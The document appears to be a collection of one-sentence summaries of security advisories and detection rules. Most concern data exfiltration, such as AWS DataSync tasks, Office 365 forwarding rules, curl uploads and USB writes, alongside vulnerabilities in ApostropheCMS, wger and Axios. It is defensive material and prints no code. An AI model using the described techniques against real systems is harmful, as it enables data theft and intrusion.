A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS v4.28.0, allowing injection of arbitrary JavaScript into HTML contexts, performing authenticated API requests, and exfiltrating sensitive data, leading to a compromise of application confidentiality.

Ech0 scoped access tokens do not reliably enforce least privilege, leading to privilege escalation and data exfiltration by allowing low-scope admin tokens to access broader admin functionality, including backup exports.

Attackers can abuse the AWS Batch service to exfiltrate data from S3 buckets by creating malicious batch jobs that leverage S3 bucket replication.

Adversaries may transfer files to an adversary account for potential exfiltration by abusing Google Workspace administration permissions to transfer file ownership within Google Drive.

This brief provides detection strategies for monitoring clipboard activity on Linux systems, potentially identifying malicious data exfiltration or command execution attempts.

A machine learning job has detected a spike in bytes of data written to an external device via Airdrop, potentially indicating illicit data copying or transfer activities.

Detects the execution of the TOR Browser and related components on Windows endpoints, indicating potential anonymization of traffic for command and control, data exfiltration, or policy evasion by adversaries or insider threats.

A machine learning job has detected high bytes of data written to an external device, potentially indicating illicit data copying or transfer activities leading to data exfiltration over a physical medium such as USB.

This brief outlines the detection of malicious Office 365 inbox rule creation, where attackers leverage 'New-InboxRule' and 'Set-InboxRule' operations to forward, delete, or obfuscate emails, potentially leading to data exfiltration or business email compromise.

An attacker may create an AWS DataSync task to exfiltrate data from a private AWS location to a public one, leading to data compromise, detected by monitoring AWS CloudTrail logs for the `CreateTask` event from the DataSync service.

A CSV/TSV injection vulnerability exists in wger <= 2.5, allowing malicious gym members to inject spreadsheet formulas into their profiles, which are then executed when an administrator exports and opens the member list, potentially leading to data exfiltration and remote code execution.

Adversaries may mount OneDrive shares as network drives using net.exe or net1.exe to stage, access, or exfiltrate data through cloud-hosted WebDAV paths, potentially bypassing traditional file share monitoring.

Atypical access to O365 mailboxes is detected when a security administrator uses Threat Explorer features to directly view email, potentially indicating reconnaissance or data exfiltration by a compromised or malicious insider.

Detection of triggered Microsoft Office 365 Data Loss Prevention (DLP) rules, which can indicate potential data exfiltration or policy violations, dependent on upstream DLP configuration.

An adversary exports the results of an Office 365 Security and Compliance Center content search, potentially leading to data exfiltration of sensitive information.

Detection of content search initiation within the Office 365 Security and Compliance Center using the SearchCreated operation, which may signal unauthorized access to sensitive organizational data such as emails and documents, potentially leading to data exfiltration and compliance breaches.

Detection of new Microsoft 365 Exchange inbox forwarding rules indicating potential unauthorized email interception and exfiltration by attackers.

Adversaries may leverage Azure Storage utilities like AzCopy and Storage Explorer post-compromise to stage or extract sensitive data from endpoints, blending malicious activity with legitimate cloud traffic.

This analytic detects the execution of attacker tools used for unauthorized access, network scanning, privilege escalation, password dumping, or data exfiltration, based on process activity data from EDR agents and focusing on known attacker tool names.

changedetection.io is vulnerable to authentication bypass due to incorrect decorator ordering in Flask routes, allowing unauthenticated access to backup functionalities and potentially leading to data exfiltration of sensitive information.

Axios versions 0.19.0 through 1.13.6 are vulnerable to prototype pollution, allowing attackers to intercept and modify JSON responses, hijack HTTP requests, and exfiltrate sensitive data by polluting the Object.prototype with keys like `parseReviver` and `transport`.

Detection of AWS EC2 snapshot shared publicly, indicating potential data exfiltration, by analyzing AWS CloudTrail events.

An attacker modifies AWS AMI attributes, potentially sharing an AMI with another AWS account or making it publicly accessible, to exfiltrate sensitive data stored in AWS resources.

The analytic detects file copy operations from Cisco ASA devices to remote locations using protocols like TFTP, FTP, HTTP, HTTPS, SMB, or SCP, potentially indicating data exfiltration by threat actors targeting network devices.

A machine learning job detects a rare process writing data to an external device, potentially indicating data exfiltration masked by benign-looking processes.

A threat actor can exploit a misconfigured Spring Boot Actuator to steal credentials and potentially exfiltrate data from SharePoint after bypassing MFA.

This rule detects potential data exfiltration attempts on Linux systems using the curl command-line tool to upload files to external servers, potentially indicating unauthorized data transfer.

Adversaries may leverage the `net.exe` utility to mount WebDav or hidden remote shares, potentially indicating lateral movement, data exfiltration preparation, or initial access via discovery of accessible shares.

This detection identifies potential misuse of Microsoft Devtunnels within Visual Studio by detecting image load events, indicating that an attacker could expose a compromised system or service to the internet for covert communication and data exfiltration.

An external (anonymous) user has viewed, copied, or downloaded an encryption key file from a Google Workspace drive, potentially leading to unauthorized access to sensitive data or authentication on behalf of users via rogue access links.

Detection of unusual high-volume file downloads from Microsoft OneDrive, potentially indicating data exfiltration by a compromised account or insider threat.

This analytic identifies excessive ICMP traffic to external IP addresses exceeding 1,000 bytes, potentially indicating command and control activity, data exfiltration, or covert communication channels.